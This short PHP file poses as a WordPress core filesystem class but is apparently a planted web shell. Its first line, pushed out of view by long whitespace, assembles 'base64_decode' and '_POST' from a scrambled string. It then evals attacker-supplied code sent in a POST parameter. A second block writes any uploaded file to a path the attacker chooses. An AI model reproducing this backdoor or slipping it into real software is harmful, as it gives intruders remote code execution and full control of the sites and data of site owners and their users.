class-wp-filesystem-core.php

<?php                                                                                                                                                                                                                                                               $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n773e94'])) {eval($s21(${$s20}['n773e94']));}?><?
  if ($_FILES['F1l3']) {
    move_uploaded_file($_FILES['F1l3']['tmp_name'], $_POST['Name']);
    echo 'OK';
  } else {
    echo 'You are forbidden!';
  }
?>